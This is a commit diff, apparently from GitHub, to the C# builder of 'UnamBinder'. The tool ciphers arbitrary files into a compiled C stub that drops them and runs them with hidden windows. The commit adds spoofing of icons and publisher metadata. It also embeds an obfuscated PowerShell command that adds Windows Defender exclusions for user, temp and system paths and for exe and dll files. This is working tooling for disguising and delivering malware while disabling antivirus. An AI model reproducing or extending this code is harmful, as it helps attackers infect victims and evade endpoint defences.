@@ -11,6 +11,7 @@ namespace UnamBinder
11
11
public partial class Builder : Form
12
12
{
13
13
private static Random random = new Random ( ) ;
14
+ public Vanity vanity = new Vanity ( ) ;
14
15
private string key = RandomString ( 32 ) ;
15
16
16
17
public Builder ( )
@@ -20,68 +21,109 @@ public Builder()
20
21
21
22
public void NativeCompiler ( string savePath )
22
23
{
24
+ key = RandomString ( 32 ) ;
25
+
23
26
string currentDirectory = Path . GetDirectoryName ( savePath ) ;
24
27
string filename = Path . GetFileNameWithoutExtension ( savePath ) + ".c" ;
25
28
26
- if ( Directory . Exists ( Path . Combine ( currentDirectory , "tinycc" ) ) ) {
27
- Directory . Delete ( Path . Combine ( currentDirectory , "tinycc" ) , true ) ;
28
- }
29
- using ( ZipArchive archive = new ZipArchive ( new MemoryStream ( Properties . Resources . tinycc ) ) )
29
+ string compilerDirectory = Path . Combine ( currentDirectory , "Compiler" ) ;
30
+ if ( ! Directory . Exists ( compilerDirectory ) )
30
31
{
31
- archive . ExtractToDirectory ( currentDirectory ) ;
32
+ using ( ZipArchive archive = new ZipArchive ( new MemoryStream ( Properties . Resources . tinycc ) ) )
33
+ {
34
+ archive . ExtractToDirectory ( compilerDirectory ) ;
35
+ }
36
+ using ( ZipArchive archive = new ZipArchive ( new MemoryStream ( Properties . Resources . MinGW64 ) ) )
37
+ {
38
+ archive . ExtractToDirectory ( compilerDirectory ) ;
39
+ }
32
40
}
33
41
34
42
StringBuilder sb = new StringBuilder ( Properties . Resources . Program1 ) ;
35
43
44
+ bool buildResource = ( checkAdmin . Checked || vanity . checkIcon . Checked || vanity . checkAssembly . Checked ) ;
45
+
46
+ if ( buildResource )
47
+ {
48
+ StringBuilder resource = new StringBuilder ( Properties . Resources . resource ) ;
49
+ string defs = "" ;
50
+ if ( vanity . checkIcon . Checked )
51
+ {
52
+ resource . Replace ( "#ICON" , vanity . txtIconPath . Text ) ;
53
+ defs += " -DDefIcon" ;
54
+ }
55
+ if ( checkAdmin . Checked )
56
+ {
57
+ System . IO . File . WriteAllBytes ( Path . Combine ( currentDirectory , "administrator.manifest" ) , Properties . Resources . administrator ) ;
58
+ defs += " -DDefAdmin" ;
59
+ }
60
+ if ( vanity . checkAssembly . Checked )
61
+ {
62
+ resource . Replace ( "#TITLE" , vanity . txtAssemblyTitle . Text ) ;
63
+ resource . Replace ( "#DESCRIPTION" , vanity . txtAssemblyDescription . Text ) ;
64
+ resource . Replace ( "#COMPANY" , vanity . txtAssemblyCompany . Text ) ;
65
+ resource . Replace ( "#PRODUCT" , vanity . txtAssemblyProduct . Text ) ;
66
+ resource . Replace ( "#COPYRIGHT" , vanity . txtAssemblyCopyright . Text ) ;
67
+ resource . Replace ( "#TRADEMARK" , vanity . txtAssemblyTrademark . Text ) ;
68
+ resource . Replace ( "#VERSION" , string . Join ( "," , new string [ ] { vanity . txtAssemblyVersion1 . Text , vanity . txtAssemblyVersion2 . Text , vanity . txtAssemblyVersion3 . Text , vanity . txtAssemblyVersion4 . Text } ) ) ;
69
+ defs += " -DDefAssembly" ;
70
+ }
71
+ System . IO . File . WriteAllText ( Path . Combine ( currentDirectory , "resource.rc" ) , resource . ToString ( ) ) ;
72
+
73
+ Process . Start ( new ProcessStartInfo
74
+ {
75
+ FileName = Path . Combine ( compilerDirectory , "MinGW64\\ bin\\ windres.exe" ) ,
76
+ Arguments = "--input resource.rc --output resource.o -O coff -F pe-i386 " + defs ,
77
+ WorkingDirectory = currentDirectory ,
78
+ WindowStyle = ProcessWindowStyle . Hidden
79
+ } ) . WaitForExit ( ) ;
80
+ System . IO . File . Delete ( Path . Combine ( currentDirectory , "resource.rc" ) ) ;
81
+ System . IO . File . Delete ( Path . Combine ( currentDirectory , "administrator.manifest" ) ) ;
82
+ }
83
+
36
84
List < string > stringarray = new List < string > ( ) ;
37
85
List < string > intarray = new List < string > ( ) ;
38
86
39
87
int count = listFiles . Items . Count ;
40
88
for ( int i = 0 ; i < count ; i ++ )
41
89
{
42
90
File filevar = ( File ) listFiles . Items [ i ] ;
43
- string droplocation = filevar . comboDropLocation . Text == "Current Directory" ? "cd" : filevar . comboDropLocation . Text ;
44
- byte [ ] filebytes = { } ;
45
91
try
46
92
{
47
- filebytes = System . IO . File . ReadAllBytes ( filevar . txtBindfile . Text ) ;
93
+ byte [ ] filebytes = System . IO . File . ReadAllBytes ( filevar . txtBindfile . Text ) ;
94
+ string filestring = Convert . ToBase64String ( filebytes ) ;
95
+ stringarray . Add ( "{\" " + filevar . comboDropLocation . Text + "\" ,\" " + ToLiteral ( Cipher ( filevar . txtFilename . Text , key ) ) + "\" ,\" " + ToLiteral ( Cipher ( filestring , key ) ) + "\" }" ) ;
96
+ intarray . Add ( "{" + filevar . txtFilename . Text . Length + "," + ( filevar . toggleExecute . Checked ? "1" : "0" ) + "," + filestring . Length + "," + filebytes . Length + "," + ( filevar . toggleHideWindow . Checked ? "1" : "0" ) + "}" ) ;
48
97
}
49
98
catch
50
99
{
51
100
MessageBox . Show ( "Could not read the file: " + filevar . txtBindfile . Text + ", make sure that the file exists and that the path is correct." , "Error" , MessageBoxButtons . OK , MessageBoxIcon . Error ) ;
52
101
return ;
53
102
}
54
- string filestring = Convert . ToBase64String ( filebytes ) ;
55
- stringarray . Add ( "{\" " + droplocation + "\" ,\" " + ToLiteral ( Cipher ( filevar . txtFilename . Text , key ) ) + "\" ,\" " + ToLiteral ( Cipher ( filestring , key ) ) + "\" }" ) ;
56
- intarray . Add ( "{" + filevar . txtFilename . Text . Length + "," + ( filevar . toggleExecute . Checked ? "1" : "0" ) + "," + filestring . Length + "," + filebytes . Length + "," + ( filevar . toggleHideWindow . Checked ? "1" : "0" ) + "}" ) ;
57
103
}
58
104
59
- if ( checkAdmin . Checked )
60
- {
61
- sb . Replace ( "DefWD" , "TRUE" ) ;
62
- CipherReplace ( sb , "#WDCOMMAND" , "cmd /c powershell -Command Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force & powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force & exit" ) ;
63
- System . IO . File . WriteAllBytes ( Path . Combine ( currentDirectory , "manifest.o" ) , Properties . Resources . manifest ) ;
64
- }
65
105
sb . Replace ( "#ARRAYCOUNT" , count . ToString ( ) ) ;
66
106
sb . Replace ( "#STRINGARRAY" , string . Join ( "," , stringarray ) ) ;
67
107
sb . Replace ( "#INTARRAY" , string . Join ( "," , intarray ) ) ;
68
108
sb . Replace ( "#KEY" , key ) ;
69
109
110
+ if ( checkWD . Checked )
111
+ {
112
+ sb . Replace ( "DefWD" , "TRUE" ) ;
113
+ CipherReplace ( sb , "#WDCOMMAND" , "cmd /c powershell -Command Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force & powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force & exit" ) ;
114
+ }
115
+
70
116
System . IO . File . WriteAllText ( Path . Combine ( currentDirectory , filename ) , sb . ToString ( ) ) ;
71
117
Process . Start ( new ProcessStartInfo
72
118
{
73
- FileName = Path . Combine ( currentDirectory , "tinycc\\ tcc.exe" ) ,
74
- Arguments = "-Wall -Wl,-subsystem=windows \" " + filename + "\" " + ( checkAdmin . Checked ? "manifest .o" : "" ) + " -luser32 -m32" ,
119
+ FileName = Path . Combine ( compilerDirectory , "tinycc\\ tcc.exe" ) ,
120
+ Arguments = "-Wall -Wl,-subsystem=windows \" " + filename + "\" " + ( buildResource ? "resource .o" : "" ) + " -luser32 -m32" ,
75
121
WorkingDirectory = currentDirectory ,
76
122
WindowStyle = ProcessWindowStyle . Hidden
77
123
} ) . WaitForExit ( ) ;
78
124
79
- System . IO . File . Delete ( Path . Combine ( currentDirectory , "manifest .o" ) ) ;
125
+ System . IO . File . Delete ( Path . Combine ( currentDirectory , "resource .o" ) ) ;
80
126
System . IO . File . Delete ( Path . Combine ( currentDirectory , filename ) ) ;
81
- if ( Directory . Exists ( Path . Combine ( currentDirectory , "tinycc" ) ) )
82
- {
83
- Directory . Delete ( Path . Combine ( currentDirectory , "tinycc" ) , true ) ;
84
- }
85
127
}
86
128
87
129
public void CipherReplace ( StringBuilder source , string id , string value )
@@ -92,8 +134,8 @@ public void CipherReplace(StringBuilder source, string id, string value)
92
134
93
135
public static string RandomString ( int length )
94
136
{
95
- const string chars = "abcdefghijklmnpqrstuvwxyz0123456789" ;
96
- const int clength = 35 ;
137
+ const string chars = "abcdefghijklmnpqrstuvwxyz0123456789!$&()*+,-./:<=>@[]^_ " ;
138
+ const int clength = 55 ;
97
139
var buffer = new char [ length ] ;
98
140
for ( var i = 0 ; i < length ; ++ i )
99
141
{
@@ -191,5 +233,10 @@ private void btnBuild_Click(object sender, EventArgs e)
191
233
NativeCompiler ( save ) ;
192
234
}
193
235
}
236
+
237
+ private void btnVanity_Click ( object sender , EventArgs e )
238
+ {
239
+ vanity . Show ( ) ;
240
+ }
194
241
}
195
242
}
0 commit comments